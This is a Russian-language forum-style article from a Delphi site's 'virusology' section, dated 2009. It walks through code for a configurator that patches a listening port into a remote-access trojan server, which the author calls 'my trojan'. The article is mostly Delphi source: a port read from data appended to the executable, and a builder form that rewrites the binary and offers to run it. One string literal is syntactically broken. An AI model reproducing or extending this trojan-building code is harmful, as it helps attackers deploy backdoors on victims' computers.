Суббота, 23.11.2024, 16:20 Приветствую вас Гость | Группа "Гости" 
Меню сайта

Категории раздела
Вирусология [40]
Статьи о вирусах
Системные [1]
Работа с системой
Примеры [45]
Приёмы, функции, процедуры
Ceти [1]
Работа с интернет
Шуточные программы [5]
Пишем шуточные программки
Остальное [6]
Всё что не вошло

Популярные статьи

Недавние темы

Опрос
Нужно ли ограничение (регистрация) при скачке файлов?
Всего ответов: 355

Главная » Статьи » Delphi » Примеры

Конфигуратор на delphi
У нас есть код (возьму кусок кода из моего троя):

[code]
server.sin_family:=AF_INET;
server.sin_port:=htons(55555); //здесь мы назначаем, порт который будет слушать наш R
//как раз это место мы и будем править
//исправляем 55555 на ReadInfo
server.sin_addr.s_addr:=htonl(INADDR_ANY);
[/code]

После этого в наш код нудно будет добавить одну процу и одна функцию, вот они

[code]
procedure LoadServer(Fname:string;var FullContents:string);//загрузка в память сервера 
var
Fcontents:File of Char;
Fbuffer:array [1..1024] of Char;
rLen,Fsize:LongInt;
begin
FullContents:='';
{$I-}
AssignFile(Fcontents,Fname);
Reset(Fcontents);
Fsize:=FileSize(Fcontents);
while not Eof(Fcontents) do begin
BlockRead(Fcontents,Fbuffer,1024,rLen);
FullContents:=FullContents + string(Fbuffer);
end;
CloseFile(Fcontents);
{$I+}
if Length(FullContents) > Fsize then
FullContents:=Copy(FullContents,1,Fsize);
end;

Function ReadInfo: Integer;//функция нахождения и правки порта
var
fcontent, apnd : string;
i : integer;
begin
copyfile( PChar(paramstr(0)) , PChar(paramstr(0)+'_'), false );
LoadServer( paramstr(0)+'_' , fcontent );
apnd := '';
i := length( fcontent );
while (i>0) AND (fcontent[i]<>#00) do begin
apnd := fcontent[i] + apnd;
i := i-1;
end;
deletefile( PChar(paramstr(0)+'_') );
Result := StrToInt(apnd);
end;
[/code]

Ну вот с R мы закончили приступаем к написанию конфигуратора!
Здесь я привиду основную часть кода ибо все остальное можно будет дописать по желанию.

[code]
procedure TForm1.LoadServer(Fname:string;var FullContents:string);
var
Fcontents:File of Char;
Fbuffer:array [1..1024] of Char;
rLen,Fsize:LongInt;
begin
FullContents:='';
{$I-}
AssignFile(Fcontents,Fname);
Reset(Fcontents);
Fsize:=FileSize(Fcontents);
while not Eof(Fcontents) do begin
BlockRead(Fcontents,Fbuffer,1024,rLen);
FullContents:=FullContents + string(Fbuffer);
end;
CloseFile(Fcontents);
{$I+}
if Length(FullContents) > Fsize then
FullContents:=Copy(FullContents,1,Fsize);
end;

procedure TForm1.OpnnClick(Sender: TObject);
VAR
fcontent, apnd : String;
i : integer;
begin
IF opn.Execute THEN begin
EdtFname.Text := opn.FileName;
LoadServer(EdtFname.Text,fcontent);
i := length(fcontent);
apnd := '';
WHILE (i > 0) AND (fcontent[i] <> #00) DO begin
apnd := fcontent[i] + apnd;
i := i-1;
end;
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Opn.InitialDir := ExtractFilePath(application.exename);
end;

procedure TForm1.SvClick(Sender: TObject);//открываем и правим
VAR
fcontent : string;
i : integer;
f : textfile;
begin
IF fileexists( EdtFname.Text ) THEN
begin
LoadServer( EdtFname.Text, fcontent );
i := length(fcontent);
while (i>0) AND (fcontent[i]<>#00) DO
i := i -1;
fcontent := copy(fcontent,1,i);
fcontent := fcontent + Prt.Text;
AssignFile( f , EdtFname.Text );
Rewrite( f );
write( f , fcontent );
closefile( f );
copyfile( 'ZeroDay.exe','ZeroDayNoEdit.exe', false );//тут можно подправить по желанию
IF messagedlg('Сервер сконфигурирован'+#13+#10+новый порт ….'+Prt.Text+#13+#10+
'Запустить сервер сейчас?',
mtConfirmation,[mbYes,mbNo],0) = mrYes THEN
shellexecute( 0 , nil , PChar( EdtFname.Text) , nil , nil , 1 );
end
ELSE
messagedlg('Указанный файл не верен!!!',mtError,[mbok],0);
end;
[/code]

Ну вот собстно и все! Знающие люди скажут, что это самый приметивный способ и, что код очень сырой и нуждается в оптимизации и отладке! И я, честно говоря, отвечу, что они правы, но я специально не стал приводить здесь оптимизированный код лишь потому, чтобы вы читая эту статью поднапрягли свои мозги!
Всем спасибо за внимание!

P.S.Дополнения, просьба писать в эту тему! Если у когото есть какие нить претензии по поводу статьи,тож отписываем в этой теме!
P.S.S.Созданный код, берет свое существование от http://opensc.ws/showthread.php?t=618

Категория: Примеры | Добавил: dolphin (21.03.2009)
Просмотров: 3468 | Рейтинг: 2.5/2

Всего комментариев: 0
avatar
Профиль



Поиск

Наша кнопка
Вирусология, взгляд из Delphi

Статистика
Top.Mail.Ru Яндекс.Метрика Счетчик тИЦ и PR
Статистика материалов
Файлов: 457
Форум: 1165/8118
Коментариев: 770
Новостей: 29

Статистика пользователей
Всего: 379
За неделю: 0
Вчера: 0
Сегодня: 0
Всего онлайн: 1
Гостей: 1
Пользователей: 0

delphicode.ru © 2008 - 2024 Хостинг от uCoz